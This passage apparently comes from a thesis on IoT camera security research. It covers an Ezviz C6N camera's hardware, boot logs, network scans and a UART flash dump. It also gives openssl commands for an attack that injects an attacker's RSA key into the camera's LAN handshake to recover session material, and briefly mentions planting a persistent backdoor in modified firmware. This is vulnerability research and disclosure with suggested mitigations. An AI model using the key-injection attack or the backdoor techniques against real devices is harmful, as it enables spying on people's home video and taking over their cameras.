• If the payload failed during boot when invoked from init scripts, inserting into the C
backdoor sleep calls and a loop that tries to connect several times, allowed backdoor
to work properly.

This sequence demonstrates how a firmware image can be modified to include persistent
code; the engineering constraints (endianness, kernel syscall support, compression and
xattrs) determine whether the modified image boots successfully.
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5.2 Ezviz C6N IoT Camera Analysis
The Ezviz C6N is a widely distributed consumer-grade IP camera designed for indoor home
surveillance and remote access via a mobile application. Its primary goal is to provide
affordable, plug-and-play video monitoring for general households rather than high-end
professional deployments. As a mass-market product, the design prioritizes cost-efficiency,
ease of installation, and everyday usability over advanced enterprise-level security. These
design choices make the device an interesting target for hardware security research: its wide
adoption increases the potential impact of vulnerabilities, and architectural trade-offs made
to reduce cost or simplify manufacturing may result in exploitable weaknesses, potential
unauthorized access, or privacy risks.

From a technical standpoint, the camera supports Full HD (1080p) resolution and
operates on 2.4 GHz WiFi. It includes a built-in MicroSD card slot supporting up to 256
GB of local storage and infrared night-vision capability up to 10 meters. The system contains
64 MB of DRAM and 8 MB of SPI NOR flash memory for firmware and configuration
storage. The device employs an unidentified System-on-Chip (SoC) internally labeled
EZH4236C, which — based on secondary evidence — appears to belong to a low-cost
Fullhan family commonly used in mass-market IP cameras.

5.2.1 Hardware and Interface Discovery
Processor and Storage Identification

A physical inspection of the PCB (5.5) revealed key components and interfaces.
The device’s main processor bears the marking EZH4236C_UQT707-1_C2436_09. Al-

though no official datasheet is publicly available, secondary sources [16] suggest an as-
sociation with the Fullhan FH8626 platform — an SoC developed by Shanghai Fullhan
Microelectronics Co., Ltd. for cost-optimized IP-camera applications. This identification
suggests that the camera relies on a widely used embedded platform rather than a custom
high-end design. Subsequent decompilation and firmware analysis further indicate that the
processor likely features an ARM-based architecture.

The flash storage component, labeled XMC_25QH64DHIG_P3W96400_28_2426C, was de-
termined to be an 8 MB SPI NOR device (Manufacturer ID 0x20, Device ID 0x4017),
corresponding to XM25QH64C. This capacity aligns with the requirements of firmware,
configuration data, and system parameters typical for consumer IoT cameras. Identifying
the flash allowed us to confirm the storage constraints and anticipate the size and structure
of firmware images for later extraction and analysis.
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Figure 5.5. EZVIZ C6N PCB

UART Interface Identification and Connection

The UART interface was located on the PCB through a combination of continuity checks
and signal probing. Each candidate pin was measured for continuity to the device chassis
using a multimeter to identify the ground connection; the pad exhibiting near-zero resistance
was designated as GND. Adjacent pads were then evaluated for serial signal transmission:
the first as TX (observable via the USB-UART adapter’s RX line) and the next as RX
(connected to the adapter’s TX). (5.6)

Establishing this UART connection was motivated by the expectation that the serial
console would provide detailed boot and runtime messages without modifying firmware.
These messages are essential to understanding the device’s initialization sequence, operating
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system behavior, and potential security-relevant features such as memory initialization and
peripheral setup.

Figure 5.6. EZVIZ C6N with UART connection aided by PCBite

5.2.2 Boot Process and Environment
Boot Process Analysis

The complete boot log was captured via the UART interface. This log offers a comprehensive
view of the system’s power-on sequence, DRAM training, flash detection, and kernel handoff
procedures. Analyzing these messages enables verification of memory configuration, storage
recognition, and operating system identification, all of which are critical to formulating
security hypotheses and planning potential exploitation or hardening strategies:

ROM: Us ROM: Use nor flash.
ROM: Init DDR..Training done.
R

U-Boot 2010.06-svn245265 (Oct 21 2024 - 18:55:57)

DRAM: 64 MiB
MMC: FH_MMC: 0
master [ctl : mem] = [0 : 0]
SF: Got idcode 20 40 17 20 40
product name:CS_XP1
Using SZ_8M TYPE_RT flash partition choice.
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MMC FLASH INIT: No card on slot!
No mmc storage device found!
load_update_file fail
Net: fh_gmac_initialize
FH EMAC
Hit Ctrl+u to stop autoboot: 0
load rt app

header_data.u32Magic is 0xa7b4c9f8
header_data.u32header_len is 0x10
header_data.u32RawDataLen is 0x5b000
Done load!

From the boot log several conclusions can be drawn:

• The bootloader in use is U-Boot version 2010.06-svn245265, built on 21 October
2024. U-Boot is a standard open-source bootloader in embedded systems, providing
basic hardware initialization and firmware load capability.

• The system reports 64 MB of DRAM during initialization, which is consistent with the
observed memory size required to support the embedded OS and camera functions.

• A flash memory chip of 8 MB capacity is indicated by the string SZ_8M within the log,
signifying the partitioning scheme for "TYPE_RT" firmware image loading.

• The log states No mmc storage device found!, indicating absence of a removable
MMC/SD card slot or that it is unpopulated/unrecognised. Hence the device appears
to rely entirely on SPI flash for persistent storage.

• The presence of the line ROM: Use nor flash. confirms that the device uses NOR
flash memory (rather than NAND) for firmware storage; NOR flash is chosen in many
embedded applications for its fast read access and simpler booting behaviour.

• The log includes ROM: Init DDR..Training done. — this reveals that the device
performs DDR memory training at boot, which is the calibration of memory controller
timing and signal integrity to guarantee reliable operation in variable manufacturing
and environmental conditions.

• The message product name:CS_XP1 appears, which appears to be a firmware or board
identifier; its precise meaning is not documented, but may correspond to a platform
code used internally by the manufacturer.

• The entry header_data.u32Magic is 0xa7b4c9f8 corresponds to a firmware image
header magic number associated with the RT-Thread operating system, indicating
that this OS is used on the device.

Boot Environment Variables

The printenv output in the U-Boot shell was examined to identify default boot parameters,
such as memory allocation, console settings, and network configuration. These variables
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provide additional insight into how the bootloader configures hardware prior to operating
system execution, and can reveal discrepancies between declared and actual resource
availability — information that may indicate design shortcuts, potential vulnerabilities, or
undocumented features:

HKVS # printenv
bootcmd=loadss;bootm
bootdelay=2
baudrate=115200
gatewayip=192.0.0.1
netmask=255.255.255.0
phymode=RMII
boot_from=PART_MAIN
update_flag=update_
ethact=FH EMAC
update_auto=ezviz.dav
serverip=192.0.0.128
update_source=net
fileaddr=A1000000
wifi_mode=station
ipaddr=192.0.0.64
tftptimeout=1000
netretry=no
PT_TEST=FALSE
fac_net_update_sta=
xapp=1
bootargs=console=ttyS0,115200 root=/dev/ram0 mem=32M
rst=0
stdin=serial
stdout=serial
stderr=serial
ethaddr=94:ec:13:d7:5b:49

Environment size: 470/65532 bytes

It should be noted that the bootargs field reports mem=32M, which does not align with
the detected 64 MB of DRAM. Such discrepancies are relatively common in Internet-of-
Things (IoT) devices, where the bootloader’s environment variables may not reflect the
kernel’s actual runtime configuration. This divergence can represent a design convenience
rather than a mis-reporting error.

5.2.3 Onboarding and Network Scanning
Device Onboarding and Network Traffic Analysis

The camera was provisioned via the EZVIZ mobile application, which uses a standard
QR-code pairing flow. During setup, the application temporarily enables a wireless interface
on the camera to transmit the household Wi-Fi credentials; this interface is then disabled
once the device connects to the network. A password change prompt appeared during
onboarding but was dismissed without modification. This is noteworthy because the device
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password is reportedly involved in video-stream encryption key derivation, making the
presence or absence of a non-default password relevant for security considerations.

Observed Network Endpoints

Network traffic generated during device onboarding and subsequent operation was captured
using PcapDroid. Due to SSL pinning implemented by the EZVIZ mobile application,
full TLS interception was not possible. Consequently, the analysis relied on observable
metadata, including IP addresses, domain names (via SNI), DNS resolutions, and relative
traffic volumes. The objective was to identify vendor-cloud endpoints, map their geo-
graphic distribution, and establish a preliminary understanding of the device’s external
communication surface.

The largest observed data flows were directed toward the domain
ieustatic.ezvizlife.com (IPs 163.181.50.226-229, Milan, Italy). Based on the
high volume of traffic, these flows are likely related to webcam video streaming. Another
notable endpoint was ezviz-fastdfs-gateway.oss-cn-hangzhou.aliyuncs.com (IP
118.31.232.150, Hangzhou, China), hosted on Alibaba Cloud OSS. The domain and hosting
provider suggest a function related to large-scale object storage, such as cloud backups or
media resources. Traffic was also observed to eutencentstreamer.ezvizlife.com (IP
43.158.127.173, Frankfurt, Germany). Based on the naming, this endpoint may serve a
European streaming or relay function.

Control and management traffic appeared concentrated at apiieu.ezvizlife.com
(IP 34.240.36.2, Dublin, Ireland), which, according to DNS data, is hosted on Amazon
Web Services in the Dublin region. From the domain name, it is likely associated with
central control-plane operations, such as device authentication, configuration, and teleme-
try. Additional Irish endpoints, including eulog.ezvizlife.com (52.17.224.100) and
pmseu1.ezvizlife.com (54.194.12.164), plausibly support complementary functions, such
as logging, updates, or regional service redundancy. Lower-volume flows were observed to
other European and international endpoints, including UDP exchanges in London, UK (IPs
98.98.147.21-22), which may correspond to lightweight signalling, discovery, or telemetry.

Similarly, connections to graph.facebook.com (Rome, Italy) likely reflect optional
application integrations or analytics.

Implications for Jurisdiction and Data Protection: The observed geographic
distribution — with data potentially stored in China, primary control endpoints in Ireland,
and content delivery in Italy and Germany — highlights considerations relevant to data
residence and compliance with regulations such as the General Data Protection Regulation
(GDPR). Cross-border flows increase the complexity of assessing the vendor’s obligations
regarding secure storage, lawful access, and transfer of personal data across multiple legal
jurisdictions.

Active Scanning: Nmap Reconnaissance

A sequence of Nmap scans was executed to enumerate network services and to establish an
initial attack-surface profile. The workflow progressed from a full TCP/UDP sweep to
targeted OS-fingerprinting and NSE script probes, concluding with a focused UDP scan.
Only non-intrusive, information-gathering options were employed.

69



Experimental Results

The first, comprehensive port sweep (Full Port Scan, all 65,535 TCP/UDP ports)
returned:

$ sudo nmap -sS -sU -T4 -p- 192.168.1.201
Starting Nmap 7.92 (...) at 2025-09-02 17:05 CEST
Nmap scan report for C6N_BE8740775_EZVIZ.home-life.hub (192.168.1.201)
Host is up (0.011s latency).
Not shown: 65531 closed udp ports (port-unreach), 65531 closed tcp ports (reset)
PORT STATE SERVICE
8000/tcp open http-alt
8443/tcp open https-alt
9010/tcp open sdr
9020/tcp open tambora
9035/udp open|filtered unknown
50160/udp open|filtered unknown
50161/udp open|filtered unknown
56779/udp open|filtered unknown
MAC Address: 94:EC:13:72:54:E3 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 58.39 seconds

OS fingerprinting produced inconsistent results (excerpt):

$ sudo nmap -sS -O -T4 --osscan-guess 192.168.1.201
Aggressive OS guesses: varied and inconsistent; no exact OS match.

Lightweight NSE scripting against discovered ports returned service identifications
without high-confidence version strings or CVE hits:

$ sudo nmap -sS -sV -sC --script="vuln,http-*,rtsp-*,broadcast-upnp-info" \
-T4 -p 8000,8443,9010,9020,9035,50160,50161,56779 192.168.1.201

... (scripts returned no high-confidence CVE findings)

Interpretation

The scans detect a limited group of external ports which include TCP 8000, 8443, 9010,
and 9020, and UDP 9035, 50160, and 50161. The initial sweep showed UDP 56779 as
open|filtered but it became closed during the targeted probing process. The NSE scripts for
service identification and version enumeration failed to generate reliable fingerprint data
and no confirmed CVE matches were detected for these endpoints. The results from OS
fingerprinting showed inconsistent patterns across different systems. The scans repeated
multiple times showed the identical port group, confirming that the set of open ports is
consistent. The measured endpoints serve as the first point of network attack surface. The
non-intrusive scans conducted here failed to identify their specific roles and protocols. The
determination of service functions and security posture requires protocol-aware authorized
testing through authenticated API enumeration and protocol scans and service messages
analysis.
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5.2.4 U-Boot Commands and Flash Dump
U-Boot Exploration

The investigation began by accessing the U-Boot console of the target embedded device.
Using the help command, all available bootloader commands were enumerated, providing
a comprehensive overview of the operations permitted at this low-level interface:

HKVS # help
? - alias for 'help'
arc_go - start application at address 'addr'
base - print or set address offset
bdinfo - print Board Info structure
boot - boot default, i.e., run 'bootcmd'
bootd - boot default, i.e., run 'bootcmd'
bootm - boot application image from memory
bootmini- load & run mini sys
bootp - boot image via network using BOOTP/TFTP protocol
...
version - print monitor version

This command listing highlights capabilities such as memory management, SPI flash
manipulation, and network boot, all critical for memory extraction, reverse engineering,
and understanding system initialization.

Board information obtained via bdinfo clarified memory mappings, network parameters,
and console settings:

HKVS # bdinfo
arch_number = 0x0000270F
env_t = 0x00000000
boot_params = 0xA0000100
DRAM bank = 0x00000000
-> start = 0xA0000000
-> size = 0x04000000
ethaddr = 94:ec:13:d7:5b:49
ip_addr = 192.0.0.64
baudrate = 115200 bps

These details are essential for planning UART-based memory dumps and understanding
the DRAM layout, as they define where different memory regions reside during runtime.

Memory Dump via UART

Direct access to the SPI flash using a hardware programmer proved impractical due to the
motorized placement of the flash chip, which made reliable pin contact difficult. As a result,
the flash content was extracted using the bootloader’s SPI commands over UART. The
probing process revealed some nuances of the bootloader commands:

HKVS # sf probe
Usage: sf probe [bus:]cs [hz] [mode]
HKVS # sf probe 0:0 1000000 0
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master [ctl : mem] = [0 : 0]
SF: Got idcode 20 40 17 20 40
8192 KiB XM25QH64C at 0:0 is now current device

Only the command sf probe 0:0 1000000 0 succeeded; attempts on other chip selects
or buses failed. The sf probe command initializes the SPI flash and identifies its parameters.
Here, the device was correctly detected as an 8 MiB XM25QH64C. The output master
[ctl : mem] = [0 : 0] indicates the selected SPI controller and chip select.

The entire flash was dumped into RAM with the command:

HKVS # sf read 0xA2000000 0x00000000 0x00800000

Here, the first argument "0xA2000000" is the RAM address where the flash content will
be stored, the second argument "0x00000000" is the offset within the flash (starting from
the beginning), and the third argument "0x00800000" is the length to read, corresponding
to the full 8 MiB of flash. This operation produces a literal dump of the entire flash memory
into RAM.

To capture this dump, the md command was used to print the content starting at
"0xA2000000":

HKVS # md 0xA2000000 0x00800000

The output of md is transmitted over UART. To capture it, picocom was used with the
–logfile option, logging the full UART output to a file. Once picocom was closed, the
relevant sections of the log — specifically the part printed by the md command — were
extracted.

This extracted section was then processed using a Python script, which parsed the log
and converted the data into a proper binary file. The script ensured a little-endian byte
order to accurately reconstruct the flash image. The resulting binary dump provides an
exact copy of the flash contents, ready for further examination with tools such as binwalk
and unblob.

5.2.5 Flash Partition Analysis
The SPI flash image was examined to determine the logical partitioning and the concrete
contents stored in each region. The inspection combined information obtained from the
bootloader (mtdparts), a full binary extraction and subsequent analysis with binwalk and
unblob, and manual inspection of human-readable strings extracted from the partitions. The
following verbatim output from the bootloader records the partition table used throughout
the analysis:

HKVS # mtdparts
mtdparts=spi_flash:256k(bld),64k(env),64k(enc),1152k(mini),320k(arc),
4992k(app),640k(res),128k(mcu),576k(cfg)
mtd offset size name
mtd0: 0x00000000 0x00040000 bld
mtd1: 0x00040000 0x00010000 env
mtd2: 0x00050000 0x00010000 enc
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mtd3: 0x00060000 0x00120000 mini
mtd4: 0x00180000 0x00050000 arc
mtd5: 0x001d0000 0x004e0000 app
mtd6: 0x006b0000 0x000a0000 res
mtd7: 0x00750000 0x00020000 mcu
mtd8: 0x00770000 0x00090000 cfg

The table shows nine partitions that separate boot code, persistent configuration,
cryptographic material and multiple compressed or filesystem-backed images. Following
extraction, the full dump was analysed with binwalk to enumerate embedded artifacts and
compression formats. Selected excerpts from the binwalk report are shown below (abridged
to the most relevant hits):

DECIMAL HEXADECIMAL DESCRIPTION
-----------------------------------------

49285 0xC085 Certificate in DER format (x509 v3)
182204 0x2C7BC CRC32 polynomial table, little endian
186987 0x2DA6B Base64 standard index table
774160 0xBD010 LZMA compressed data
1572880 0x180010 LZO compressed data
2239964 0x222DDC LZO compressed data
7012352 0x6B0000 JFFS2 filesystem, little endian
7815640 0x7741D8 Zlib compressed data
8064776 0x7B0F08 JFFS2 filesystem, little endian
...

• Cryptographic material: The binwalk results include multiple DER certificates,
AES S-Boxes, SHA256 constants, CRC32 tables and DES tables. These elements
represent low-level cryptographic primitives and embedded certificates used by the
firmware and by TLS/PKI components. Their presence was corroborated by manual
string inspection and by locating PEM blobs inside filesystem partitions.

• Compression formats: Several compression schemes are present. LZMA was
identified at offsets consistent with the compact "mini" subsystem, while LZO dominates
large portions of the application image. Zlib fragments are present inside JFFS2
filesystems. These findings were confirmed by unblob, which reported the following
chunk distribution:

Chunks distribution
-------------------

| Chunk type
| Size | Ratio |ñ→

| LZO
| 4.65 MB | 58.18% |ñ→

| JFFS2_NEW
| 1.31 MB | 16.41% |ñ→

| UNKNOWN
| 1.27 MB | 15.87% |ñ→
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| LZMA
| 738.05 KB | 9.01% |ñ→

| PADDING
| 43.68 KB | 0.53% |ñ→

• Filesystem layout: Multiple JFFS2 filesystem signatures were detected at distinct
offsets. These JFFS2 instances contain configuration files, certificates and runtime
data. Zlib compressed segments inside these filesystems indicate additional per-file
compression to save space.

• Interpretation discipline: The statements in this section reflect direct artefacts
discovered by automated analysis and string inspection. Where a function is assigned
to a partition, the assignment is supported by explicit evidence (embedded file paths,
command names, certificates, or RTOS strings) rather than speculative inference.

Conclusions from binary examination

The combined binwalk and unblob results demonstrate a layered firmware structure in
which compressed code blobs coexist with filesystem partitions and embedded cryptographic
material. LZO-compressed application data constitutes the majority of the image by size;
LZMA is used for compact kernels/subsystems; JFFS2 stores persistent configuration,
certificates and dynamic state. This layered approach balances storage efficiency and
runtime access patterns and must be considered when reasoning about update integrity
and attack surface.

Partition functions and contents (integrated view)

By correlating the mtdparts table, binwalk hits, unblob statistics and strings discovered
in each partition, the role and typical contents of each region are described below. Each
description is based on direct evidence extracted from the flash image.

• mtd0 (bld, 256 KB): Contains the U-Boot bootloader binary and associated boot
metadata. The bootloader provides hardware initialization, SPI flash primitives and
an interactive prompt used for device maintenance.

• mtd1 (env, 64 KB): Stores U-Boot environment variables. These variables include
boot commands, network configuration and memory parameters. The data is presented
as typical U-Boot environment key/value entries and is required for reproducible boot
sequences.

• mtd2 (enc, 64 KB): Contains a small set of ASCII strings interleaved with large
unused or zeroed regions. The observed content is limited to a few short identifiers;
no complete key blobs were unambiguously exposed in plaintext. The distribution of
cryptographic tables elsewhere in the image makes this partition a likely candidate for
storage of security constants or protected metadata, but the exact format and usage
remain documented only to the extent that readable strings permit.

• mtd3 (mini, 1152 KB): LZMA-compressed minimal runtime subsystem. Analysis
of extracted strings and log fragments shows that this partition contains a compact
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RTOS environment (RT-Thread) with a shell, filesystem support and low-level drivers.
Typical artifacts: RT-Thread banner text, basic shell commands (e.g. ls, ps, ping),
early device initialisation routines and networking stack initialization messages.

• mtd4 (arc, 320 KB): LZO-compressed auxiliary libraries and real-time modules.
The partition includes code and data related to inter-module IPC, media preprocess-
ing (audio echo cancellation and noise suppression routines were discovered), and
performance-sensitive helper routines used by the main application.

• mtd5 (app, 4992 KB): Primary application image. The partition contains the
main RT-Thread application logic, multiple LZO compressed blobs, embedded PEM
certificates and references to product-specific modules and SDK paths. Strings
and extracted source paths point clearly to EZVIZ/Hikvision application modules
(networking, streaming, PTZ control, update logic).

• mtd6 (res, 640 KB): Static resources and read-only data used by the main application.
Binwalk identified JFFS2 structures and certificate bundles in this partition. Typical
contents include default OSD resources, static images and initial certificate bundles.

• mtd7 (mcu, 128 KB): Reserved region for MCU firmware or auxiliary microcontroller
code. The partition appears unused or sparsely populated in the examined image.

• mtd8 (cfg, 576 KB): JFFS2 filesystem containing dynamic configuration, device
identity and runtime logs. The partition includes files under a /devinfo style layout
(device identifiers, certificate files, and configuration blobs). Boot messages referencing
config_sec_* routines operate on data consistent with files extracted from this
partition.

The mapping above is supported by concrete indicators: discovered file paths, RTOS
banner strings, PEM certificates, compression headers and JFFS2 filesystem signatures.
The presence of cryptographic constants and certificate material in the image is relevant to
trust and update mechanisms and is discussed further in the security implications section
(later in the thesis).

5.2.6 Binary and Ghidra
This subsection documents the steps used to prepare and analyse raw binaries extracted
from flash, as well as practical lessons learned while performing static analysis.

Raw binary extraction and format considerations

Some portions of the firmware contain compressed or packed segments; these were decom-
pressed with lzop or by using the offsets reported by binwalk, then loaded as separate
modules for analysis.

The extracted application blobs are raw binary images rather than ELF objects. This is
consistent with an embedded build flow where the final image is produced via a command
such as:
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arm-none-eabi-objcopy -O binary app.elf 5C010.bin
lzop -o 5C010.lzo 5C010.bin

Stripping ELF headers and producing a raw binary simplifies flash layout and reduces
metadata; however it also removes symbol information and explicit entry/section metadata,
increasing the effort required for reverse engineering.

Base address and Ghidra

For raw binaries the correct base address is critical to obtain meaningful cross-references
and data pointers in a disassembler. When the base address was set incorrectly, many
expected cross references (XREFs) to .rodata and config strings were absent in Ghidra.

The allyourbase tool was used with conservative parameters to search candidate base
addresses. A candidate base suggested by allyourbase produced coherent cross-references
in Ghidra and enabled function discovery where a naive base did not. The low 16 bits of a
string reference were matched against addresses found in code to derive a consistent base
shift.

The recommended loading practice for the examined blobs was: set architecture to
ARM:LE:32:v7, apply the empirically determined base address (from allyourbase and
string cross-reference analysis) and enable aggressive function discovery options in Ghidra.

5.2.7 Boot and Execution Flow
Analysis of the serial console output and flash partition contents reveals a complex boot
and runtime architecture, with multiple firmware images loaded under the same RTOS but
serving distinct roles and exhibiting partially overlapping functionality.

Bootloader and firmware load commands

Upon power-on, the SoC BootROM initializes basic hardware and transfers control to
U-Boot, stored in mtd0. From the U-Boot console, two firmware load commands are
particularly relevant:

• bootmini: loads the compact diagnostic firmware from the mini partition.

• bootrt: loads the main application firmware from the app partition. This is the
default boot command.

Both commands rely on U-Boot’s loadss mechanism, which copies the entire firmware
image from flash into predefined RAM addresses and transfers execution to the entry point.
This preserves the absolute addresses embedded in the binary, ensuring that strings, data
sections, and code reside at the expected RAM offsets.

Execution of the “mini” firmware

Execution of bootmini loads the maintenance environment into RAM. This firmware prints
initialization logs, sets up the filesystem, network stack, peripheral drivers, and exposed
an interactive shell (tshell). However, it serves strictly as a diagnostic tool: it lacks
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the higher-level application logic required for standard camera operations, such as video
streaming or cloud connectivity.

The serial output is consistent with an RT-Thread 3.1.3 instance. The full bootlog is
available in Appendix B, but a small excerpt illustrating the initialization sequence follows:
HKVS # bootmini
load mini to 0xa0000000 ...

Thread Operating System 3.1.3 build Jan 16 2023 - 14:11:27
SDK V2.1.2-g100a56b
[SFUD] Find a XMC XM25QH64C flash chip. Size is 8388608 bytes.
[I/FAL] RT-Thread Flash Abstraction Layer(V0.4.0) initialize success.
[I/DFS] Device File System initialized!
lwIP-2.0.2 initialized!
[I/SAL_SKT] Socket Abstraction Layer initialize success.
jffs2 System dfs_mount ok!
minisys driver_init ok...
[wdt] set topval: 9, top_s: 30
atbm_wifi_hw_init
rt_hw_usbotg_init start
Init: Power Port (0)
msh />

As shown, the image initializes essential low-level components like the JFFS2 filesystem,
lwIP network stack, flash abstraction layers, and watchdog timers. Selected configuration
verification routines (config_sec_*) also run to ensure integrity checks are performed at
startup.

Partition correlation and log attribution

Strings extracted from each firmware image and correlated with captured logs confirm the
functional separation between the partitions:

• Certain messages (Socket Abstraction Layer initialize success, minisys
wait for jffs fs) appear exclusively in mtd3-mini.

• Others (set_tx_power_rate, rt_hw_usbotg_init) are found only in mtd5-app.

• A subset of messages (Device File System initialized!, atbm_wifi_hw_init)
are present in both images, reflecting shared RT-Thread modules.

This mapping highlights the distribution of functional components: the diagnostic
firmware exposes maintenance and hardware inspection routines, while the main application
firmware implements device-specific operations.

Execution of the main application firmware

The bootrt command initiates the primary firmware stored in mtd5-app. In contrast to the
interactive shell provided by bootmini, bootrt mode does not provide any feedback through
the console and immediately launches the production environment. The firmware contains
specialised code for product functions, including streaming capabilities, pan-tilt-zoom (PTZ)
control, and EZVIZ/Hikvision module references, operating without interactive shell access.
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Unified RTOS architecture and functional implications

A detailed inspection of the firmware headers, memory layout and string patterns confirmed
that both images rely on a single RT-Thread instance. It has been determined that
the apparent eCos signatures identified in previous binwalk analyses were false positives
resulting from non-whole matching strings.

The architecture employs this dual-path design to support distinct operational goals:
a maintenance mode for low-level inspection and recovery (bootmini) and a production
mode for full functionality (bootrt). This separation allows for hardware debugging and
filesystem repair without interfering with or loading the heavy application logic.

5.2.8 LAN Live View Authentication and Cryptographic Ex-
change

This subsection documents the observed LAN-local authentication workflow and the experi-
ments performed to characterize the initial key-exchange between the companion application
and the camera. The aim consists in deriving conclusions about how local pairing/au-
thentication and session key material are negotiated. The LAN authentication involves
an RSA-wrapped exchange yielding a 16-byte payload plausibly serving as session key
material. The described experiment provides a reproducible basis for further analysis
(firmware reverse-engineering or runtime debugging) to confirm session key derivation and
video encryption usage.

Context and Motivation

Local (LAN) operation supports a “Live view (LAN)” mode that connects the companion
application directly to the camera without traversing vendor cloud servers. Intercepting
these LAN exchanges was prioritized to determine whether video encryption keys are
derived from user-set credentials (e.g., the device password or verification code) and whether
an on-network attacker could recover session keys via passive capture. The hypothesis
underlying this prioritization posited that, if session keys were exchanged in a recoverable
manner over the unsecured LAN TLS channel, an adversary positioned on the local network
could intercept and decrypt video streams, thereby compromising confidentiality without
requiring physical access to the device or cloud credentials. This expectation stemmed
from the observation that LAN modes are often optimized for performance, potentially at
the expense of security. TLS interception of cloud traffic was infeasible without disabling
application pinning (requiring instrumentation such as Frida on a rooted device). However,
the LAN channel does not enforce client certificate pinning, enabling interception of TLS
sessions on port 8443 thanks to PCAPDroid mobile app (with its MITM TLS addon),
and this raises concerns about exposure to man-in-the-middle attacks; the experiment
sought to quantify this risk by capturing and analyzing the handshake. Multicast discovery
(239.255.255.250, SSDP/UPnP) is used by the app to locate cameras on the LAN. This
mechanism was verified through packet captures to confirm device enumeration prior to
authentication, providing the entry point for subsequent handshake analysis.
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Password and Verification Code

The companion application requires a password for LAN Live View access. If password
was not changed by the user, then it is the factory verification code (labelled VC on the
device), presented on the camera’s underside (example: PBMFKJ). The app indicates that
this password is used as a key (or to derive a key) protecting video encryption. Correct
entry of the password in LAN Live View enables the local connection. The role of the
password was hypothesized to extend beyond mere authentication — potentially serving as
a seed for symmetric key derivation — to ensure that only authorized users could access
encrypted streams.

Observed LAN TLS Exchange and RSA-Wrapped Payload

After LAN TLS was established, the application transmits a fixed, structured packet
containing the username (admin) and an ASN.1 PKCS#1 RSA public key blob (in cleartext
before the camera response). This initial packet is identical across multiple devices,
indicating it is constant in all EZVIZ mobile apps worldwide. The consistency across
devices suggested a hardcoded public key in the application binary, which could imply a
shared secret vulnerable to extraction; however, the primary focus remained on the camera’s
response to assess key material exposure. The camera responds with a blob, which was
hypothesized to be indeed RSA-encrypted with the previous public key. It was hypothesized
that this blob contains a short piece of data — most likely a session nonce or, more critically,
a symmetric encryption key — encrypted with the provided public key. This hypothesis
was confirmed experimentally.

By generating a custom keypair, the intent was to confirm that the camera, despite
mobile app sends the same public key worldwide, imposes no validation on the public key
(e.g., no pinning or whitelist), expecting that an attacker-supplied key would be accepted
and used for RSA-encryption, thereby allowing immediate RSA-decryption of the response.
The workflow proceeded as follows:

1. A temporary 1024-bit RSA keypair was generated to match the observed modulus size
in application packets, ensuring compatibility with the camera’s encryption routine:

openssl genpkey -algorithm RSA -out priv.pem -pkeyopt rsa_keygen_bits:1024
openssl rsa -in priv.pem -RSAPublicKey_out -outform DER -out pub_pkcs1.der
xxd -p pub_pkcs1.der | tr -d '\n' > pub_pkcs1.der.hex

The choice of 1024 bits reflected empirical observation of the fixed key size, hypothe-
sizing that larger keys would be rejected or truncated; the DER format was selected
for direct injection into the handshake payload.

2. The DER PKCS#1 public key hex was injected into the application handshake, replac-
ing the built-in constant public key via proxy interception and payload modification.
The device accepted it and produced an RSA-encrypted response, confirming the
absence of key validation and fulfilling the expectation of vulnerability to active
attacks.

3. The response blob was converted to binary and decrypted locally with the generated
private key:
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xxd -r -p responseLetsSee.hex > responseLetsSee.bin
openssl pkeyutl -decrypt -inkey priv.pem -in responseLetsSee.bin -out

decrypted.binñ→

The decrypted content consists of ASCII-encoded hexadecimal characters representing a
16-byte (32-character) sequence, for example:

3861643263653439396137313733653436643532323666623839323230626338

Converting the ASCII hex yields a raw 16-byte value. Its size and structure are consistent
with session key material, such as a nonce or, worse, a 128-bit AES key. However, attempts
to decrypt the captured video streams using this value as a key did not result in a valid or
intelligible video output.

Interpretation and Limitations

The evidence supports the following conclusions, derived from this experiment:

• In mobile EZVIZ app, the LAN TLS channel lacks the certificate-pinning applied
to cloud connections, making on-LAN MITM practically feasible. The experiment’s
success with the custom PCAPDroid certificate confirmed this gap. Mobile EZVIZ app
accepts any well-formed X.509 certificate presented during the LAN TLS handshake
on port 8443. This design allows an on-path attacker to perform a complete man-in-
the-middle attack (for example, attacker may send commands through the control
channel).

• The camera, after having established LAN TLS channel, performs a RSA-based
exchange: the mobile app sends an RSA public key and receives an RSA-encrypted
response. Local decryption yields a 16-byte value encoded as ASCII hexadecimal.
Camera imposes no validation on the received public key as application data; it
accepts any well-formed RSA public key, including attacker-generated ones. An active
adversary can send their own public key, receive the encrypted 16-byte response, and
decrypt it immediately, rendering the exchange insecure against active network attacks.
Even if the app uses a fixed public key worldwide — forcing the attacker to manually
extract private key from the mobile app binary which requires time and effort — the
lack of public-key-fixed validation negates this. The reconstruction explicitly tested
and validated this vulnerability.

• The 16-byte value matches AES-128 material (key or IV), a nonce for a key-derivation
function (KDF), or an authentication challenge. Its exact role remains unproven
without further analysis.

• The password/VC unlocks LAN Live View. It may serve only as an authentication
token or combine with the 16-byte value (e.g., via KDF) to derive the symmetric
session key. If authentication-only, recovering the 16-byte payload compromises video
confidentiality if it is the encryption key. If used in derivation, passive recovery requires
the password/VC as well. This motivates further firmware analysis, that will reveal
that this is not the key used to encrypt the video stream.
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Definitive role determination of the session material requires firmware or mobile app
reverse-engineering of cryptographic routines or runtime instrumentation to observe key
usage. The experiment advanced understanding by providing recoverable material but
highlighted the need for dynamic tracing to link the payload to media encryption.

Practical mitigation strategies to prevent LAN TLS MITM include:

1. Public-Key Certificate Binding via QR Code Pairing

• The initial pairing process should use a QR code containing the camera’s public-
key certificate. This QR code could be printed on a sticker attached to the
device.

• Each camera must have a unique key pair and corresponding certificate.
• During initial configuration, the application should only accept the certificate

that matches the QR code binding. Once verified, it can proceed to validate the
certificate’s signature against the vendor’s EZVIZ CA public key.

If implemented correctly, this approach effectively eliminates the possibility of a
man-in-the-middle (MITM) attack.
However, if users are allowed to connect via LAN live view without scanning the QR
code, an attacker could exploit this by using a compromised key pair (for example,
from their own camera). They could respond to multicast discovery requests, causing
the app to connect to the attacker’s device instead of the legitimate camera. To
mitigate this, an additional measure is needed:

2. Serial Number Verification

• To ensure the certificate (presented by the camera during TLS handshake) belongs
to the genuine device rather than an attacker’s camera, the application should
prompt the user to enter the camera’s serial number (printed on the device).

• The serial number must also be embedded within the certificate. The app must
then verify both the certificate’s signature (using the vendor CA public key) and
that the serial number in the certificate matches the one provided by the user.

This ensures that even if an attacker possesses a valid certificate for a different camera,
they cannot impersonate another device.

5.2.9 RTSP Stream Analysis and Plaintext Video Delivery
The companion mobile application exposes a user-configurable option to enable an RTSP
